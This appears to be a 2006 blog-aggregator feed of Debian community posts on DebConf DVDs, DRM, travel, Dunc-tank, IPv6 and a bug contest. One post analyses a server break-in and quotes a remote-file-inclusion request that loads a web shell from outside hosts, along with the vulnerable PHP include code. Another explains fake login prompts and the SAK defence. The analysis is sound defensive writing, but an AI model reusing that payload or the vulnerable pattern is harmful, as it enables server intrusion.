After Ben announced the source package to build the debconf6 RC1 dvds, I built them and put them online for you to download. (The spanish ntsc dvd is currently missing but will be there in 3h.)

Please give feedback about your experiences with hardware dvd players.

Thanks again to all people who helped making them possible!

...has listed lists.gnu.org again on 2006-10-04, thereby taking away all subscribers who stupidly use it to reject email. Darwin rules list subscriptions too.

Today is the day against DRM. Thousands of people around the world are spreading the word about Digital Restriction Management technologies. The interesting thing about the people building DRM systems is that they're doing evil. They may not think they're doing evil, after all they're generally good people, doing their jobs, feeding their families, and protecting their interests. It's not a big evil, but it is a subtle one. And that's why you shouldn't support them. For decades, the music industry has been making money by selling records and tapes. This was a good business, because it was difficult to produce records, and it was difficult to get tapes into the hands of consumers. They made quite a tidy sum over production and distribution of art, which is a pretty decent living. But then came the Internet. And the Internet got big. Big enough that you're reading what I'm writing, even though we come from completely different backgrounds and are probably miles apart. The interesting thing about the Internet is that copying a song and sending it to someone else costs almost nothing. Zip, zero, zilch. Now traditional media distribution houses are upset. The service they performed was valuable and the goods they sold were scarce. Nowadays, neither or those are true. People can record music in their garages, edit it on their computers, and publish it online. The digital medium has turned art from a scarce resource into an abundance. So what do companies do? They feel that they have to protect their existing business models so they try to push through legislation that would make it illegal to provide abundance. That's like arresting farmers for plant seeds they've harvested from their own wheat. But this is wrong. People are now using the Internet to make and distribute art like we've never seen before. The proliferation of new songs, new pictures, new videos is just enormous. The creative community has exploded through sharing, some of it illegal, and we can all see what a vibe this has caused. DRM is meant to put a stop to that. It's designed to have two components: one is the technology that monitors and restricts what you can do with the art that you've bought, the second is the legislation that makes it illegal to circumvent this technology. So only criminals will be able to give music to their friends. But criminals will do that anyway, laws won't prevent DVD duplication in Asia. They will, however, stop you from listening to music in ways some corporation doesn't want you to. What can you do about it? Make it known that you're against DRM. Make it known that you're against proprietary systems that stifle the creative spirit. And only purchase open systems. Not just because it's the right thing to do, but also because they won't hold you hostage.

October is a busy month for us. October 14th is my birthday, and October 16th is our wedding anniversary. On our honeymoon in 2004, we took a trip to wt:Charlevoix at the mouth of the Saguenay fjord in Quebec. Then, in October 2005, Amita June had just been born, so we took a short trip to Ottawa for the weekend. At this point, I think we've established an anniversary tradition of short weekend trips to cities in Eastern Canada. This year, Maj started arranging a trip to St. John's in Newfoundland. I'm pretty fascinated by wt:Newfoundland -- it's one of the oldest settlements in North America, yet very isolated. Its culture is a unique blend of Celtic, English, and a smattering of French Canadian with an idiosyncratic accent and great music. But St. John's is just too remote for a relaxing, romantic anniversary weekend. We kept trying to find easier ways to get there, and nothing was working out. So we decided to save Newfoundland for a spring trip. My crazy-cuckoo dream is to drive from Montreal to Labrador City and then out to Goose Bay in Labrador on the mainland, take the ferry to Newfoundland, drive around a bit there, then back to Montreal on a car ferry. Good trip, eh? So, we decided to take things a little easier and go to another part of Canada. We've wanted to visit wt:Halifax for a long time, and now it looks like it's going to work out. It's only 1-1/2 hours by plane from Montreal, and it's supposed to be a very charming, fun city. I got good deals on Air Canada for the two of us, plus baby, and we're staying at the posh Lord Nelson hotel in the middle of town. Even though it's the "Splurge" hotel on the Wikitravel Sleep section, I was able to get a discount with my CAA card that makes the price just about acceptable for a special occasion weekend. Now we have to plan what to do when we get there. We've only been to Nova Scotia once, and that was just a jaunt across the border from New Brunswick for kcks. I'm going to pore over the Wikitravel and World66 articles to see what I can come up with, and hopefully do some research while we're on the road. Really, that's the best part for me. I probably shouldn't look so far ahead -- we've got Hudson (New York) still to do this weekend. Like I said, a busy month! tags: anniversary october st. johns halifax newfoundland travel nova scotia

Free Books I've been planning to go to the local Wiki Wednesday here in [wt:Montreal], so I was reviewing the Montreal Wiki Wednesday page for previous events. Although we've made it to a few of the previous ones, we definitely haven't made it to all the ones we said we would... so be it. One of the previous speakers was Hugh McGuire, a Montrealer who started an excellent project called Librivox. Librivox is a project to create free audiobooks, with chapters contributed over the Internet by readers around the world. They take books from Project Gutenberg (which is apparently a MediaWiki wiki site now... who knew?) and volunteers read them and then the whole thing gets munged into a nice little package. Everything stays in the public domain (bless their generous souls) and they even have a Librivox podcast just in case you swing that way. I'm super-hot for audio books. I love listening to them while driving, especially for long road trips. Maj is lukewarm on the idea, but she occasionally gets into them when we've got a good book going. The big downside is that they're ridiculously expensive -- $50+ for some books. The only thing that bothers me a bit about Librivox is that there arent CD Audio ISOs available. We have an MP3 CD player in our car, and I think it should work fine, but for sharing it's awful nice to have real CDs. UPDATE (from Hugh): There are mp3 ISOs available here: LibriVarc, but no aiff files. mega storage space, bandwidth and transfer problems to do that, but if anyone is interested in providing such CDs, or helping manage such a project, we'd love to know about it. tags: librivox audio books books on tape roadtrip project gutenberg

BarCampMontreal And while drifting through Hugh McGuire's blog, what do I see but a link to the newly-announced BarCampMontreal -- the first BarCamp to happen here in The City Without a Nickname. I had thought that the loose plan was to do a BarCamp to coincide with RecentChangesCamp in May 2007, but this plan seems more impetuous and uninhibited -- just like a BarCamp. There are just too many people to invite here in Montreal, though... we have something like 20 Debian developers, a whole passel of bloggers and wikitistas, lots of games developers and folks like that. Lots of work before the big weekend. Did I mention that October is a busy month? tags: barcamp montreal barcampmontreal

Day against DRM And look at that... October 3 is the Day against DRM per Defective by Design. A new DRM info clearinghouse, cleverly named drm.info, launched today, too. I've been in the weird situation lately of fighting against over-protectiveness w/r/t DRM in the Creative Commons licenses, when in fact I think DRM is twisted and dumb. It's a bill of goods being sold to entertainment companies by shady technology groups, it's rarely effective, and its only value is to punish law-abiding citizens. It's gotta go. A passionate and profanity-laced article I wrote about DRM coders for Pigdog Journal was linked from ars technica and BoingBoing last year. Although my writing style is a bit different (cough cough) than it once was, I still feel the same about DRM: a shameful and hostile way for technologists to treat each other. tags: dayagainstdrm drm pigdog journal

Are you experienced? So, I like the TV show Lost a lot, but I had no idea about this immersive alternate reality game The Lost Experience. Seems like just the kind of intense investigation game to keep losties busy for the entire summer. (You know, while they weren't trying to figure out the truth about lonelygirl15.) I'm not really that into figuring this stuff out, but I do enjoy reading the details once people have worked them through. tags: lost lost experience alternate reality game

Martin 'Joey' Schulze is still aggressively writing against Dunc tank. I don't agree with his posting at all. I don't think dunc-tank is doing any serious damage to the project; so far all the damage comes from a few people (especially you, Joey), that play some "politics" game here I don't really get or like. And just count the number of people who have expressed discomfort with your postings. I remember having seen the word "blackmail" attributed to some of your mails. [Update: and it also sucks that people have to point out that they didn't reduce their Debian involvement because of Dunc tank, but just because they don't use the software anymore, have too little time or are annoyed by your behaviour; otherwise you'd probably cite them as dunc-tank enemies.] I'm also convinced that your assessment - that only the release in december counts - is false. You know, the people working on Debian were NOT replaced by the announcement of the dunc tank experiment. We still want to make Debian the "Universal OS", and are still dedicated to the projects goals. But some of us still remember the bad press debian has been receiving because of the delays with sarge release, and the users we have lost back then because of pushing back the release again and again. You know, many people still act like "yeah, debian releases in december, sure, when hell freezes over". One of Debians strengths was security support. But security support doesn't work as well, when half of the software you're running are unsupported backports. If Debian wants to remain a good base choice (i.e. universal OS), it needs to provide a reliable combination of secure but not too-out-of-date software to become useless again. Therefore I consider frequent-enough, somewhat-on-time releases important for the universal OS idea; this will also cut down on our work (at least for those doing backports, too, since we need to do less of them). It's not a primary goal, but a consequence of the well-established goals. Now why I accept the experiment of 'hiring' the release managers for one month full-time: I've always had the impression that donating to Debian is somewhat pointless, because I don't see any concrete results, or where the money is going. To me it always felt like it ends up in an unused saving account with the SPI treasurer, until someone finds a way to spend it. Here the money is used in a transparent way, on well-respected people and with a very concrete result. And remember, it's an experiment. It's a one time thing so far. Oh, and to actually counter all your blah-blah: I've actually recently increased my Debian efforts again. Because of the dunc-tank thing, and despite your end-of-the-world-claims. Namely because it gave me back the feeling that someone actually cares about making Debian useful to everbody (and not just us freaks running unstable and experimental). That there is some interest in getting the new release out of the door on time, of supporting our users out there such as the city of munich (which is also running backports AFAIK). To me Debian is still mostly about the users, not about the ego of developers. Be a nice guy and do a good job, and you'll get lots of thank yous, a couple of friends, a couple of patches, some free beer or tshirts in return. Does this corrupt as well, getting a free coke? Yes, I got a free Jolt coke four years ago at Systems. Does this make you demotivated, that you didn't get one, too?

I was thinking late last night and it became clear to me that over the past 9 or 10 years, I had fallen into a nomadic outlook, even when I wasn't being particularly nomadic in my way of life all the time. Between moving around the Bay Area 1.5 times a year, shipping everything cross-country by UPS, hauling all my worldly goods back in a pickup, and then falling into a longterm already-established-but-clearly-not-permanent place at the farm, dashing off to places like Honduras and Brazil for months at a time, and going around with a camper, I experienced the kind of pressure that selects for keeping posessions limited, appreciating things that pack a lot of different uses into a small space (like a laptop with gigs and gigs of carefully organised information). The things I aquired, valued, and kept were either very portable and useful -- tools, laptop, tents, vehicles, cookware -- or portable and luxurious -- comforters, good sheets, a rug. (I had my pick of nearly anything in my Grandmother's house, and I chose a rug.) The real luxury items were put up with only grudgingly and spent a lot of time in storage. Mostly books, and this is why unlike most people, I prefer my books on the computer. For lots of other categories of stuff, I tended to assume that I wasn't going to keep it long, and bought/borrowed accordingly -- and ended up giving away couches on Craigslist. Recently I saw some stuff about Mongolian nomads in the Gobi packing their yurts onto their camels, and I can relate to that, there's a real beauty to it. So it's been weird over the past week to put together all the large furniture that I need in my house, like a fridge, etc. A bit hard to accept it. Only with time will I find out how long this stop along the way will last..

Slashdot had a post this evening about the update to the O'Reilly IPv6 book.

I took a scan of the comments, and got the usual bits - why would someone bother? What's the killer app? We're not running out of oil^Waddresses! While I don't claim to be an expert on the topic, where I have used IPv6 succesfully is on my home network. Where NAT is really annoying for geeks is that our ISPs give us one IP address, make it move around occasionally, and tell us we can't run servers on it. Add an IPv6 tunnel to this, and it doesn't really matter what my ISP thinks. My machines remain trivially addressable. Scanning the address space to try and hammer on the boxes is a non-trivial task and by-and-large, Windows zombies aren't usually talking on IPv6.

This isn't a permanent nirvana, but if general attitudes about v6 are the same as the drones on /., then my little workaround hack will persist for a while.

Welcome to this 3rd issue of the DeFuBu contest, the monthly championship of the funniest bug reported to the Debian BTS. The challengers

• Benjamin E. Seidenberg with #330031 (cogito is too much fun)
• Josselin Mouette with #385063 (python-gtk2: inconsistent use of tabs and spaces in indentation in pygtk.py and __init__.py) and #256039 ('nicotine' in 'top' makes me want to smoke)
• Cl ment Stenac with #385561 (konsole crashed after my cat jumped on the mouse)
• Gregory Colpart with #313492 (xscreensaver/GLSnake has sexually inappropriate imagery)
• Julien Louis with #387832 (init: no have idea :/ error on system)

How the vote has been done Four Debian related people voted for these bugs: Pierre Machard, Pierre Habouzit, Florent Bayle and Mohammed Adn ne Trojette.
Samuel Hocevar did not vote because he was not paid for it. Full ranking Bugs

• #385561 (konsole crashed after my cat jumped on the mouse) (17 points)
• #256039 ('nicotine' in 'top' makes me want to smoke) (15 points)
• #330031 (cogito is too much fun) (10 points)
• #387832 (init: no have idea :/ error on system) (9 points)
• #313492 (xscreensaver/GLSnake has sexually inappropriate imagery) (7 points)
• #385063 (python-gtk2: inconsistent use of tabs and spaces in indentation in pygtk.py and __init__.py) (2 points)

Challengers

• Cl ment Stenac (17 points in one bug)
• Josselin Mouette (17 points in two bugs)
• Benjamin E. Seidenberg (10 points)
• Julien Louis (9 points)
• Gregory Colpart (7 points)

The winners

• Bug: #385561 (konsole crashed after my cat jumped on the mouse) (17 points)
• Challenger: Cl ment Stenac
• Bug reporter: Nicolas Caval
• Voter: Florent Bayle with the nearest non-ordered tierc : #385561, #330031, #256039

Notes To participate, simply drop me an email with a bug number. About DeFuBu

I happen to have my own root server, and since there are always resources left, I did not mind hosting some other people's pages as well. I especially offer all the final classes of my school to host their website, to keep up a consistent domain naming scheme, starting with my own class page, http://04.abi-sgh.de/. This was a nice services to the following classes, as the amout of pictures such a class generates usually exeeds regular hosting constraints. Custom programmed websites, like mine and some more, are nice too.Now, today, my web server was not running. I tried to restart it, but port 443 was used, and I thought: "WTF"? netstat showed my a process with the strange name of "mysqld_" sitting on that port. ls -l /proc/.../cmd showed a binary named "httpd" in a path "/var/www/...(very deep)/.../.ssh/". Now it dawned me: Someone hacked my server.A quick "ls -l" in that directory indicated that it was done as the www-data server, and probably no root was gained. There were also two DVD rips laying around, so my server seemd to have been turned in to a movie sharing platform. The "httpd" binary, as "strings" confirmed, is a IRC-fileshareing server called iroffer, and a tool to hide processes was in that directory too.Luckily, the attackers did not hide their traces too well. The date of the "..." directory gave me the exact time of the attack, and around that time, entries like this one appeared in the access.log:

62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/
cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224
"http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?&
action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1

Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.

From: secretary@debian.org
To: Daniel Burrows 
Subject: Acknowledgement for your vote

Spam detection software, running on the system "jester", has
identified this incoming email as possible spam.  The original message
has been attached to this so you can view it (if it isn't spam) or label
similar future email.  If you have any questions, see
the administrator of that system for details.

Content analysis details:   (5.8 points, 5.0 required)

 pts rule name              description
---- ---------------------- --------------------------------------------------
 1.0 NO_REAL_NAME           From: does not include a real name
 1.5 RCVD_NUMERIC_HELO      Received: contains an IP address used for HELO
 1.0 BAYES_60               BODY: Bayesian spam probability is 60 to 80%
                            [score: 0.7536]
 2.3 EMPTY_MESSAGE          Message appears to be empty with no Subject: text

The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam.  If you wish to view
it, it may be safer to save it to a file and open it with an editor.

(but what if the editor is Emacs and it has a Lisp virus?? ;-) )

As I red the post of MJ Ray on planet, I contacted the gnuzilla project and offered to join them in order to make them a good upstream for distributors that cannot obey the new mozilla trademark policy. My current preference is to use snoweagle for thunderbird. IMO it would be a good choice, as it would be in the same spirit as iceweasel for firefox. Anyway, more ideas are welcome …

Today I learned what "release early, release often" is good for. It saves you from replacing 1444 instances of your package name in a project when someone else releases something with the same name. Of course, that number would have been a lot higher if my package actually was in a releasable state. Now I am thinking about publishing the parts that can be used so far (well, they pollute the "util" namespace so far because I kept it generic where possible, and some of the "libraries" are in fact just headers containing one or two typedefs.

There are some good comments on the Borsook piece, that rightly point out that the silences to speak of failure were perhaps more of a function of the moment she was doing the research (it just was too early to uncover it) and not necessarily due to a deep culture of shame that permeates high powered Silicon Valley executives (though I like the idea of the later for some reason ) Josh Greenburg also provided a link to the The dotcom archive, which collects the stories of that time period. Really, we are in the age of the archive, aren’t we? Stilt it seems more than ever worth exploring what silences are built into these archives, especially since everything appears to be so accessible and transparent. This discussion also raises the interesting point, however, of the importance of time and distance to assess the significance of economic trends, new technologies etc. Recently I did a few media interviews with Canadian journalists on the impact of new technologies on political campaigns and advertising. While I have some thoughts on it and it is possible (and important) to think about these topics, my initial reaction is to be highly qualified and cautious because things are too emergent to really say anything firm. I want to tell them, so give me a call back in like.. 5 years and I may have something to say… It is like one of my advisers at University of Chicago said, now that we have pervasive Internet shopping, it is now the perfect time to really understand the significance of the mall… And by unearthing objects of the past, it will help us ground understandings of the present.

A common problem with Linux systems is when Windows users press CTRL-ALT-DEL at the login prompt and reboot the machine.

To fix this some people change the ^ca line in /etc/inittab to just disable the reboot function. However this is not desirable because sometimes you want to reboot a machine with a simple keypress.

Another problem that has not been widely considered is the use of fake login prompts by attackers. This can be implemented in either text mode or graphics mode. All the fake login prompt has to do is display something that looks like a real login prompt, accept a user-name and password, verify the password (a localhost ssh connection is a good way of doing this) and then abort. In the case of a text-mode login the user will think that they entered the wrong password, in the case of a GUI login via an XDM program the user will think that the login program just crashed. Then the attacker has access to their account.

The solution to the fake-login problem is the use of the Secure Attention Keyboard (SAK) feature. When invoked this feature makes the kernel kill all processes that are on the virtual console in question. If you make CTRL-ALT-DEL the SAK combination then pressing those keys will cause the kernel to kill any processes that are attached to the current virtual console and preventing the ability of hostile programs to forge a login prompt (which is the same as it's purpose in Windows).

The next thing to do is to make another combination used for system boot. A reasonable combination seems to be CTRL-ALT-BREAK as those keys are widely separated and the combination is not used for anything else.

If you put the following in a file named sak.map (or whatever you want to call it) then the command loadkeys sak.map will apply the change. Note that when creating a keyboard map you should do it on a machine for which you don't mind being forced to perform a hardware reboot. It's easy to make a mistake and give yourself a keyboard mapping that is not usable. Another possibility is to do such testing on a machine that allows ssh logins, you can then login via ssh and run loadkeys -d to correct any errors you might make.

control alt keycode 119 = Boot
control alt keycode 83 = SAK
control alt keycode 111 = SAK
control altgr keycode 119 = Boot
control altgr keycode 83 = SAK
control altgr keycode 111 = SAK

Note that the above covers both ALT and ALT-Gr keys as well as the numeric keypad and regular versions of the delete key.

dumpkeys -l gives you a list of all possible keyboard combinations. showkey will display the number matching any key you press and will exit after 10 seconds of inactivity.

On the server:

$ history awk ' print $2 ' awk 'BEGIN  FS=" "   print $1 ' sort uniq -c sort -rn head -10
    234 really
     34 fg
     25 cd
     24 screen
     23 tail
     22 ls
     17 less
     16 spammer
     13 host
     11 man

Spammer is a simple shell function:

spammer()  
        really iptables -I INPUT -s $1 -j REJECT
 

On the laptop:

$ history awk ' print $2 ' awk 'BEGIN  FS=" "   print $1 ' sort uniq -c sort -rn head -10
    297 echo
     62 ./graph-reduction
     53 darcs
     30 gdb
     10 make
      6 ssh
      6 LC_ALL=fi_FI@euro
      6 cd
      4 valgrind
      3 top

./graph-reduction is a program I wrote during the week. I’ll blog about it separately. the LC_ALL lines are likely all LC_ALL=fi_FI@euro luit slrn so that slrn would send Latin and not UTF-8 (the latter is strongly discouraged in sfnet).

As promissed I made available a preview package for the next mozilla-firefox security update. The version of this prospective package is: 1.0.4-2sarge12. If you have a sarge desktop install at hand and want to help, just add my security apt sources from http://www.asoftsite.org/apt-archives.html and upgrade/install mozilla-firefox. Please test and send NEW bugs to me (asac@jwsdot.com) or to pkg-mozilla-maintainers@lists.alioth.debian.org. Thanks!

They're very nearly done. Menus are available for preview: English disc 1, English disc 2, Spanish disc (you can preview them in a Mozilla-based browser but you need to use VideoLink to see them exactly as they will appear). To do: add background pictures where missing, adjust some menus that are slightly too long in an "NTSC" frame, add the day trip if we ever find some music for it, test, release. I'm also considering moving or duplicating the Debian Day session that's in English to English disc 1. I uploaded VideoLink 0.11 this morning and intend to put up the DebConf6 DVD sources (other than video) this evening. Update: Done. Still lacking the day trip, and I pulled the logo because I forgot to ask permission to use it yet.